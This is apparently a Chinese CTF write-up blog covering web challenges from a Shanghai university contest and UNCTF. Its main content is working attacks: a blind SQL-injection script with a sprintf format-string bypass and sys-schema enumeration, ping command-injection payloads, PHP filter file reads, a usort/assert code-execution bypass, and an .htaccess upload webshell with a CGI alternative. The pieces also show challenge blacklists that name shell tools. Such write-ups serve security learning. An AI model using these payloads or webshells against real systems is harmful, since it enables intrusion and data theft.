CTF题解&杂记

  • 上海市大学生网络安全大赛
  • UNCTF

上海市大学生网络安全大赛 —— TryToLogin

访问Web服务是一个登入框
随便注入下发现基本没用,而且or被ban了
源码提示file参数可以读文件,尝试读 /var/www/html/index.php ,失败
读取apache服务配置文件

file=/etc/apache2/sites-available/000-default.conf
得知Web根目录为 /var/www/secret_dir_2333/html/

file=/var/www/secret_dir_2333/html/index.php
读取源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//这里整合了两个php文件,至于登入回显部分则从简处理

<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;

public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}

public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}

public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
session_start();

if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0)
{
echo file_get_contents('/'.$_GET['file']);
}
}

if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login)
{
echo "Success!";
}
else
{
echo "Wrong!";
}
}
?>

一开始面对addslashes()还不知道怎么Bypass
然后看到 $sql = sprintf($sql,$username);
百度之后查到了一篇文章
http://bey0nd.xyz/2018/11/05/1/
%s只是字符串格式化username,漏洞点肯定不在这里
就在password处开始造作

1
2
3
输入 处理  格式化
' -> \' -> \'
%' -> %\' -> %'

那么就要让password抢掉username的格式化,可以使用占位符
or被过滤则可以使用||
而$username可以放空,以避免格式化字符串时出乱子
payload:

1
password=%1$'||1#

就可以基于这个登入成功或失败的回显来进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#祖传异或注入脚本
import requests
r = requests.session()
dbname = ''
for i in range(1,50):
bot = 32
top = 128
mid = (bot + top) // 2
while(bot < top):
url = 'http://eci-2zegdefmmywv8xtsuu90.cloudeci1.ichunqiu.com/index.php'
#查库
#data={'usernaem':'', 'password':'%1$\'||(ascii(substr((select database()),{},1))>{})#'.format(i,mid)}
#查表
#data={'usernaem':'', 'password':'%1$\'||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})#'.format(i,mid)}
data={'usernaem':'', 'password':'%1$\'||(ascii(substr((select * from fl4g),{},1))>{})#'.format(i,mid)}
res=r.post(url=url, data=data)
if "Success" in res.text:
bot = mid + 1
else:
top = mid
mid = (bot + top) // 2
if(mid == 32 or mid == 127):
break
dbname = dbname + chr(mid)
print(dbname)

现在才想起来substr是从1开始的

这里有两个点可以提一下

Bypass information_schema

前两周刷BUUOJ刷到的知识点,躺在to_do_list里面就一直没看,结果这个题差点在这一步卡死
因为or被过滤了,不能使用information_schema库来进行查库查表查列的组合拳
而mysql 5.7版本可以使用sys库中的一些表来查询库名和表名
个人总结如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sys.schema_object_overview
db 库名
sys.schema_table_statistics
table_schema 库名
table_name 表名
sys.schema_table_statistics_with_buffer
table_schema 库名
table_name 表名
sys.x$schema_index_statistics
table_schema 库名
table_name 表名
sys.x$schema_table_statistics
table_schema 库名
table_name 表名
sys.x$ps_schema_table_statistics_io
table_schema 库名
table_name 表名

这里只写出了几个通用的表
另外一种方法则是innodb,不过也被ban了
而且这个要求的服务mysql默认是不开启的,门槛较高
这里倒不用继续猜列名
直接 select * from fl4g 就能出flag

substr 与 select 与 column

当时随便打了个 select * from fl4g 就出flag了,也没多想
后面想到如果是这种盲注的情况,能不能无列名读取账户表
结论是不行,substr内进行select操作
若该表只有一列,则可以使用select *,无需知道列名
flag表就是这样
若该表有多列,则必须指定一个列名,或者使用concat/group_concat连接多个列名
盲注ban了or还要查列名的情况还真没遇到过

有错误回显的情况下可以进行列名的获取

1
2
3
4
5
6
7
8
MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'email'
MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username,email))c;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

UNCTF —— UN’s_online_tools

进入页面是一个Ping Tool
经典的命令注入
输入|ls,得到回显
index.php style.css
尝试了一下别的输入之后发现存在黑名单,先尝试读取index.php

1
2
base64    index.php
base64<index.php

这里使用tab符或<都能用于代替空格
或者使用strings来读取,不过看源码可能有点麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_GET['url']))
{
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
}else{
echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
}
?>
1
|ls    /

可以看到flag在根目录下

但是第二层正则则对于"flag"过滤得很严
只能使用base64进行bypass

1
|`echo    Y2F0IC9mbGFn|base64    -d`

base64解码的结果为"cat /flag"
然后再通过``执行这个命令,即可读取flag

UNCTF —— L0vephp

查看源代码,看到两段注释内容

1
2
flag.php
B4Z0-@:OCnDf,

实在看不出来是什么编码,丢进basecrack
base85的解码结果为get action

尝试?action=/etc/passwd
可以读取passwd文件

使用base64编码读取flag.php时发现被ban
使用rot13读取flag.php

?action=php://filter/string.toupper|string.rot13/resource=flag.php
在注释中看到flag.php的内容
rot13解码之后的内容如下

1
2
3
4
<?PHP
$FLAG = "UNCTF{7HIS_IS_@_F4KE_F1A9}";
//HINT:316E4433782E706870
?>

316E4433782E706870 进行Base16解码得到 1nD3x.php
访问1nD3x.php
内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

过滤了很多内容

可以使用php变长参数

1
2
3
4
?1[]=test&1[]=phpinfo()&2=assert

echo var_dump(...$_GET);
array(2) { [0]=> string(4) "test" [1]=> string(9) "phpinfo()" } string(6) "assert"

使用usort进行命令执行
(assert支持多个参数的代码执行)

1
2
GET: 1[]=test&1[]=system('cat /flag_mdnrvvldb')&2=assert
POST: code=usort(...$GET);

UNCTF —— easy_upload

内容匹配

1
preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i",$black)

这里的 “||base|“匹配”|base”
详见 PHP正则二次转义(数据删除)

文件名匹配

1
preg_match("/ph|ml|js|cg/i", $name)

两种思路

WebShell

1
2
3
#.htaccess
SetHandler application/x-httpd-p\
hp
1
2
#a.jpg
<?=@eval($_GET["cmd"]);

CGI

1
2
3
#.htaccess
Options ExecCGI
AddHandler cgi-script .xxx
1
2
3
4
5
6
#a.xxx
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0

相关链接
.htaccess Trick分享:https://evoa.me/archives/30/